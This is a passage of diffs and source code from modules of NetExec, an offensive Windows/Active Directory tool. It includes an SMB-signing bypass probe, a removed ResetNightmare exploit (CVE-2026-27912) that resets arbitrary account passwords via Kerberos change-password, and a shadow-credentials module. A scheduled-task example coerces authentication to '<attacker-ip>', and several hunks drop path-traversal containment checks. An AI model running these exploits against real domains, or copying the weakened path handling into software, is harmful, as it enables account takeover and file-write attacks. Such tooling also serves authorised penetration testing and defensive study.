STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_LOGON_FAILURE = 0xC000006D
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
def options(self, context, module_options):
"""
PROBE_USER second account, must differ from the login account (required)
PROBE_PASS second account password
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
The second account is probed over NTLM; its privileges do not matter.
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
(in the login account's domain). A correct password never increments
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
Validate PROBE_USER on a single host before running wide.
"""
self.probe_user = module_options.get("PROBE_USER")
self.probe_pass = module_options.get("PROBE_PASS", "")
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
if not self.probe_user:
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
return False
if not self.probe_pass and not self.probe_nthash:
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
return False
def on_login(self, context, connection):
if self.probe_user.lower() == (connection.username or "").lower():
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
return
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
if not connection.signing:
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
return
try:
# fresh session so nxc's own connection is left untouched
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
try:
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
finally:
with contextlib.suppress(Exception):
new_conn.close()
except Exception as e:
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
return
if status == self.STATUS_SUCCESS:
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
elif status == self.STATUS_ACCESS_DENIED:
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
elif status == self.STATUS_LOGON_FAILURE:
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
else:
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
def reauth_as(self, smb, user, password, domain, nthash):
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
# Create NTLM Type1 message (challenge)
type1 = ntlm.getNTLMSSPType1("", domain)
blob = SPNEGO_NegTokenInit()
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
blob["MechToken"] = type1.getData()
setup = SMB2SessionSetup()
setup["Flags"] = 0
setup["SecurityMode"] = 1
setup["SecurityBufferLength"] = len(blob.getData())
setup["Buffer"] = blob.getData()
pkt = smb.SMB_PACKET()
pkt["Command"] = SMB2_SESSION_SETUP
pkt["Data"] = setup
ans = smb.recvSMB(smb.sendSMB(pkt))
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
return ans["Status"]
resp = SMB2SessionSetup_Response(ans["Data"])
try:
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
except Exception:
raw = resp["Buffer"]
type2 = raw[raw.index(b"NTLMSSP"):]
lm = nt = ""
if nthash:
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
nt = binascii.unhexlify(nthash)
# Create NTLM Type3 message (authentication)
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
blob2 = SPNEGO_NegTokenResp()
blob2["ResponseToken"] = type3.getData()
setup2 = SMB2SessionSetup()
setup2["Flags"] = 0
setup2["SecurityMode"] = 1
setup2["SecurityBufferLength"] = len(blob2.getData())
setup2["Buffer"] = blob2.getData()
pkt2 = smb.SMB_PACKET()
pkt2["Command"] = SMB2_SESSION_SETUP
pkt2["Data"] = setup2
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
return ans2["Status"]
+3 -8
View File
@@ -1,9 +1,7 @@
from os import makedirs
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from os.path import join
from pathlib import Path
from os.path import join, abspath
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -75,11 +73,8 @@ class NXCModule:
# Formatting the destination filename
file_path = path.split("$")[-1].replace("/", "_")
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
dest_path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in dest_path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
dest_path = abspath(join(export_path, filename))
try:
with open(dest_path, "wb+") as file:
connection.conn.getFile("C$", path, file.write)
+1 -1
View File
@@ -2,7 +2,7 @@
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Reference:
# Refernece:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
-139
View File
@@ -1,139 +0,0 @@
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN
from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module by @azoxlpf based on the ResetNightmare PoC and
https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/
"""
name = "resetnightmare"
description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.context = None
self.connection = None
self.target = None
self.new_password = None
self.upn_user = None
self.upn_password = None
self.upn_nthash = None
def options(self, context, module_options):
"""
Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare).
Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC.
TARGET sAMAccountName of the account whose password gets reset (append $ for a computer)
NEW_PASSWORD New password to set on TARGET
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
UPN_PASSWORD Cleartext password of UPN_USER
UPN_NTHASH NT Hash of UPN_USER
Examples:
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
"""
self.target = module_options.get("TARGET")
self.new_password = module_options.get("NEW_PASSWORD")
self.upn_user = module_options.get("UPN_USER")
self.upn_password = module_options.get("UPN_PASSWORD", "")
self.upn_nthash = module_options.get("UPN_NTHASH", "")
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
return False
def resolve_account(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
entries = parse_result_attributes(response)
return entries[0]["distinguishedName"] if entries else None
def get_account_upn(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"])
entries = parse_result_attributes(response)
if not entries:
return None, None
return entries[0]["distinguishedName"], entries[0].get("userPrincipalName")
def set_upn(self, dn, upn):
try:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]})
return True
except LDAPSessionError as e:
self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}")
return False
def restore_upn(self, dn, old_upn):
try:
if old_upn:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]})
self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}")
else:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]})
self.context.log.display(f"Cleared fake UPN from {self.upn_user}")
except LDAPSessionError as e:
self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}")
def request_changepw_tgt(self):
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
kdc = self.connection.kdcHost or self.connection.host
try:
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
except (KerberosError, OSError) as e:
self.context.log.fail(f"Failed to request change-password TGT: {e}")
return None
self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}")
return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
def reset_password(self, tgt):
kdc = self.connection.kdcHost or self.connection.host
try:
changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc)
except (KPasswdError, KerberosError, OSError) as e:
self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}")
return False
return True
def on_login(self, context, connection):
self.context = context
self.connection = connection
target_dn = self.resolve_account(self.target)
if not target_dn:
context.log.fail(f"Target '{self.target}' not found")
return
upn_dn, old_upn = self.get_account_upn(self.upn_user)
if not upn_dn:
context.log.fail(f"Controlled account '{self.upn_user}' not found")
return
context.log.display(f"Target: {self.target} ({target_dn})")
context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or '<none>'}")
if not self.set_upn(upn_dn, self.target):
return
context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}")
try:
tgt = self.request_changepw_tgt()
finally:
self.restore_upn(upn_dn, old_upn)
if tgt is None:
return
if not self.reset_password(tgt):
return
context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'")
context.db.add_credential("plaintext", connection.domain, self.target, self.new_password)
+14 -5
View File
@@ -1,9 +1,9 @@
import contextlib
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.smbconnection import SMBConnection
@@ -24,9 +24,18 @@ class NXCModule:
connection.trigger_winreg()
dce = None
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Open HKEY_LOCAL_MACHINE
ans = rrp.hOpenLocalMachine(dce)
@@ -38,7 +47,7 @@ class NXCModule:
except DCERPCException:
self.context.log.fail("No site Database found")
except DCERPCException as e:
if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
if "rpc_s_access_denied" in str(e):
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
else:
self.context.log.fail(f"Unexpected error: {e}")
+2 -2
View File
@@ -1,6 +1,6 @@
from impacket.ldap import ldap, ldaptypes
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SDFlagsControl
from ldap3.protocol.microsoft import security_descriptor_control
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -56,7 +56,7 @@ class NXCModule:
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = [SDFlagsControl(criticality=False, flags=0x04)]
controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldap_connection.search(
searchFilter=search_filter,
+34 -25
View File
@@ -44,6 +44,7 @@ class NXCModule:
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
"""
self.logger = context.log
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
self.share = "C$"
self.output_file_location = "\\Windows\\Temp"
@@ -70,7 +71,6 @@ class NXCModule:
self.template_name = module_options.get("TEMPLATE")
def on_admin_login(self, context, connection):
self.logger = context.log
if self.command_to_run is None:
self.logger.fail("You need to specify a CMD to run")
@@ -80,10 +80,7 @@ class NXCModule:
self.logger.fail("You need to specify a USER to run the task as")
return
# certreq mode is decided from the original CMD here, because self.command_to_run is later
# reassigned to the batch path; the PFX download below is gated on this same flag
self.is_certreq = self.command_to_run.lower() == "certreq"
if self.is_certreq:
if self.command_to_run.lower() == "certreq":
if self.ca_name is None:
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
return
@@ -99,18 +96,21 @@ class NXCModule:
setlocal enabledelayedexpansion
set "BASE={full_path_prefixed_file}"
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
if not exist "%BASE%.cer" exit /b 12
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
rem that one certificate, never a pre-existing certificate in the user's store
certreq -new "%BASE%.inf" "%BASE%.req" > nul
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
certutil -user -addstore my "%BASE%.cer" > nul
set "HASH="
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
if "!HASH!"=="" exit /b 13
for /f "tokens=2 delims=:" %%A in ('
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
') do (
set "tmp=%%A"
set "tmp=!tmp: =!"
set "HASH=!tmp!"
)
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
if "!HASH!"=="" (
exit /b 1
)
certutil -user -repairstore my !HASH! > nul 2>&1
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
certutil -user -delstore my !HASH! > nul 2>&1
@@ -173,15 +173,24 @@ class NXCModule:
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
connection=connection,
logger=self.logger,
tries=connection.args.get_output_tries,
share=connection.args.share,
run_task_as=self.run_task_as,
run_cmd=self.command_to_run,
output_filename=self.output_filename,
task_name=self.task_name,
output_file_location=self.output_file_location,
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
connection.smb_share_name,
connection.username,
connection.password,
connection.domain,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
connection.args.get_output_tries,
connection.args.share,
self.run_task_as,
self.command_to_run,
self.output_filename,
self.task_name,
self.output_file_location,
)
if self.show_output is False:
@@ -212,7 +221,7 @@ class NXCModule:
except Exception as e:
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
if self.is_certreq:
if self.ca_name and self.template_name:
dump_path = path.join(NXC_PATH, "modules/schtask_as")
if not path.isdir(dump_path):
makedirs(dump_path)
+21 -15
View File
@@ -1,10 +1,9 @@
from impacket.dcerpc.v5 import samr
from impacket.dcerpc.v5 import samr, transport
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -47,14 +46,24 @@ class NXCModule:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context, connection)
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
def getSAMRResetInfo(self, context, connection):
dce = None
server_handle = None
domain_handle = None
try:
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
@@ -119,11 +128,8 @@ class NXCModule:
context.log.debug(traceback_format_exc())
finally:
try:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
except Exception as e:
context.log.debug(f"Error during SAMR cleanup: {e}")
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
dce.disconnect()
-249
View File
@@ -1,249 +0,0 @@
import json
from pathlib import Path
from cryptography.hazmat.primitives.serialization import NoEncryption
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.DateTime import DateTime
from dsinternals.system.Guid import Guid
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Made by @NeffIsBack
Heavily inspired by the pyWhisker project by Shutdown:
https://github.com/ShutdownRepo/pywhisker
"""
name = "shadow-creds"
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
DEVICE_ID KeyCredential device ID; required for info and remove
JSONFILE JSON backup path; required for revert and optional for backup
Examples:
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
"""
self.target = module_options.get("TARGET", "").strip()
self.action = module_options.get("ACTION", "list").lower().strip()
self.device_id = module_options.get("DEVICE_ID")
self.jsonfile = module_options.get("JSONFILE")
if not self.target:
context.log.fail("TARGET is required")
return False
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
return False
if self.action in {"info", "remove"} and not self.device_id:
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
return False
if self.action == "revert" and not self.jsonfile:
context.log.fail("JSONFILE is required for ACTION=revert")
return False
def on_login(self, context, connection):
self.context = context
self.connection = connection
resp = connection.search(
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
)
resp_parsed = parse_result_attributes(resp)
if not resp_parsed:
context.log.fail(f"Account '{self.target}' was not found")
return
target_dn = resp_parsed[0]["distinguishedName"]
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
if self.action == "list":
self.list(self.parse_credentials(raw_values))
elif self.action == "add":
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
elif self.action == "info":
self.info(self.parse_credentials(raw_values))
elif self.action == "remove":
self.remove(target_dn, self.parse_credentials(raw_values))
elif self.action == "clear":
self.clear(target_dn, raw_values)
elif self.action == "backup":
self.backup(raw_values)
elif self.action == "revert":
self.revert(target_dn)
def parse_credentials(self, raw_values):
credentials = []
for raw_value in raw_values:
try:
# AD stores each KeyCredential as a textual DN-Binary value.
credentials.append(
(
raw_value,
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
)
)
except Exception as e:
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
return credentials
def get_credential(self, credentials):
for raw_value, credential in credentials:
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
return raw_value, credential
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
return None
def list(self, credentials):
if not credentials:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
for _, credential in credentials:
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
def add(self, target_dn, is_computer):
try:
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
credential = KeyCredential.fromX509Certificate2(
certificate=certificate,
deviceId=Guid(),
owner=target_dn,
currentTime=DateTime(),
isComputerKey=is_computer,
)
device_id = credential.DeviceId.toFormatD().lower()
ldap_value = credential.toDNWithBinary().toString()
output_path = self.write_pfx(certificate, device_id)
except Exception as e:
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
return
try:
# Add one value instead of replacing the complete multi-valued attribute.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
self.context.log.display(f"Generated PFX retained at {output_path}")
return
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
self.context.log.highlight(f"PFX: {output_path}")
def write_pfx(self, certificate, device_id):
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
output_dir.mkdir(parents=True, exist_ok=True)
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
output_path.write_bytes(
serialize_key_and_certificates(
name=self.target.encode("utf-8"),
key=certificate.key.to_cryptography_key(),
cert=certificate.certificate.to_cryptography(),
cas=None,
encryption_algorithm=NoEncryption(),
)
)
return output_path
def info(self, credentials):
result = self.get_credential(credentials)
if result is None:
return
_, credential = result
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
for name, value in {
"Owner": credential.Owner,
"Device ID": credential.DeviceId.toFormatD().lower(),
"Version": hex(credential.Version.value),
"Key ID": credential.Identifier,
"Key hash": credential.KeyHash.hex(),
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
" Exponent (E)": credential.RawKeyMaterial.exponent,
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
"Usage": credential.Usage,
"Legacy usage": credential.LegacyUsage,
"Source": credential.Source,
"Custom key info": credential.CustomKeyInfo,
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
"Last logon time": credential.LastLogonTime,
"Creation time": credential.CreationTime,
}.items():
self.context.log.highlight(f"{name:<17} {value}")
def remove(self, target_dn, credentials):
result = self.get_credential(credentials)
if result is None:
return
raw_value, _ = result
try:
# Delete the exact raw value so neighboring credentials remain untouched.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
return
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
def clear(self, target_dn, raw_values):
if not raw_values:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
return
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
def backup(self, raw_values):
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
output_path.parent.mkdir(parents=True, exist_ok=True)
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
def revert(self, target_dn):
try:
key_credentials = []
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
if not isinstance(key_credential, (dict, str)):
raise ValueError("keyCredentials entries must be objects or strings")
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
except Exception as e:
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
except Exception as e:
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
return
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
+6 -6
View File
@@ -1,9 +1,8 @@
import ntpath
import os
from os.path import join, getsize, exists
from pathlib import Path
from pathlib import PurePosixPath
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -86,10 +85,11 @@ class NXCModule:
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
if Path(user_output_dir).resolve() not in local_file_path.parents:
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
continue
# replace \\ with underscores and ignore absolute path or path traversal attempts
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
context.log.debug(f"{local_file_path=}")
try:
+15 -20
View File
@@ -2,10 +2,9 @@ import json
import errno
from os.path import abspath, join, exists, splitext, getsize
from os import makedirs, remove, stat
from pathlib import Path
from pathlib import Path, PurePosixPath
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
@@ -128,8 +127,6 @@ class SMBSpiderPlus:
self.logger.debug(f"The folder {subfolder} does not exist.")
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
elif "STATUS_NO_SUCH_FILE" in str(e):
self.logger.debug(f"The folder {subfolder} is empty.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
@@ -173,13 +170,13 @@ class SMBSpiderPlus:
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
Sanitizes each local path component and verifies containment in the output folder.
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
"""
self.logger.debug(f"Remote file: {remote_file}")
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
